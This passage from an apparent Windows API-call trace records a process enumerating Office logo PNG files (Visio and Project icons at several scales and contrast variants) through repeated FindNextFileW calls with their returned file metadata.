cFileName="VisioLogo.contrast-black_scale-80.png", cAlternateFileName="VISIOL~1.PNG")) returned 1 [0189.714] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x954, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-white_scale-100.png", cAlternateFileName="VIFA3F~1.PNG")) returned 1 [0189.714] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe11, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-white_scale-140.png", cAlternateFileName="VISIOL~2.PNG")) returned 1 [0189.715] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf11, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-white_scale-180.png", cAlternateFileName="VISIOL~4.PNG")) returned 1 [0189.715] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x847, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-white_scale-80.png", cAlternateFileName="VI1BD5~1.PNG")) returned 1 [0189.715] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.scale-100.png", cAlternateFileName="VIA47A~1.PNG")) returned 1 [0189.715] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe69, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.scale-140.png", cAlternateFileName="VIAD54~1.PNG")) returned 1 [0189.715] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.scale-180.png", cAlternateFileName="VI20DC~1.PNG")) returned 1 [0189.715] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.scale-80.png", cAlternateFileName="VI2F4A~1.PNG")) returned 1 [0189.715] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x790, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-black_scale-100.png", cAlternateFileName="VI6631~1.PNG")) returned 1 [0189.715] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x899, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-black_scale-140.png", cAlternateFileName="VI2462~1.PNG")) returned 1 [0189.715] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-black_scale-180.png", cAlternateFileName="VI71F6~1.PNG")) returned 1 [0189.715] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-black_scale-80.png", cAlternateFileName="VI602A~1.PNG")) returned 1 [0189.715] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-white_scale-100.png", cAlternateFileName="VI77E0~1.PNG")) returned 1 [0189.715] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-white_scale-140.png", cAlternateFileName="VI3512~1.PNG")) returned 1 [0189.715] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-white_scale-180.png", cAlternateFileName="VI82A6~1.PNG")) returned 1 [0189.715] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x67f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-white_scale-80.png", cAlternateFileName="VIEC8E~1.PNG")) returned 1 [0189.715] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.scale-100.png", cAlternateFileName="VI400A~1.PNG")) returned 1 [0189.716] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x901, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.scale-140.png", cAlternateFileName="VIF275~1.PNG")) returned 1 [0189.716] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.scale-180.png", cAlternateFileName="VI3544~1.PNG")) returned 1 [0189.716] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.scale-80.png", cAlternateFileName="VIA6C1~1.PNG")) returned 1 [0189.716] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-black_scale-100.png", cAlternateFileName="WINPRO~3.PNG")) returned 1 [0189.716] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc49, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-black_scale-140.png", cAlternateFileName="WINPRO~1.PNG")) returned 1 [0189.716] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-black_scale-180.png", cAlternateFileName="WINPRO~2.PNG")) returned 1 [0189.716] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x814, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-black_scale-80.png", cAlternateFileName="WIE37A~1.PNG")) returned 1 [0189.716] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-white_scale-100.png", cAlternateFileName="WIA969~1.PNG")) returned 1 [0189.716] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-white_scale-140.png", cAlternateFileName="WID2E1~1.PNG")) returned 1 [0189.716] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8a15c5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-white_scale-180.png", cAlternateFileName="WI9EA3~1.PNG")) returned 1 [0189.716] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x836, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-white_scale-80.png", cAlternateFileName="WI385D~1.PNG")) returned 1 [0189.716] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x935, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.scale-100.png", cAlternateFileName="WI7FD4~1.PNG")) returned 1 [0189.716] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.scale-140.png", cAlternateFileName="WI3D06~1.PNG")) returned 1 [0189.716] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.scale-180.png", cAlternateFileName="WI8A9A~1.PNG")) returned 1 [0189.717] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x890, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.scale-80.png", cAlternateFileName="WI01D8~1.PNG")) returned 1 [0189.717] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x759, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-black_scale-100.png", cAlternateFileName="WI30FF~1.PNG")) returned 1 [0189.717] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x840, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-black_scale-140.png", cAlternateFileName="WINPRO~4.PNG")) returned 1 [0189.717] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xacd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-black_scale-180.png", cAlternateFileName="WIE311~1.PNG")) returned 1 [0189.717] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x610, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-black_scale-80.png", cAlternateFileName="WIC0C5~1.PNG")) returned 1 [0189.717] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-white_scale-100.png", cAlternateFileName="WIB14C~1.PNG")) returned 1 [0189.717] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x837, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-white_scale-140.png", cAlternateFileName="WI0FC0~1.PNG")) returned 1 [0189.717] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab9, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-white_scale-180.png", cAlternateFileName="WICCF1~1.PNG")) returned 1 [0189.717] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-white_scale-80.png", cAlternateFileName="WICBAE~1.PNG")) returned 1 [0189.717] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.scale-100.png", cAlternateFileName="WIC069~1.PNG")) returned 1 [0189.717] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x869, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.scale-140.png", cAlternateFileName="WIBBE1~1.PNG")) returned 1 [0189.717] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xacd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.scale-180.png", cAlternateFileName="WIB5A3~1.PNG")) returned 1 [0189.717] FindNextFileW 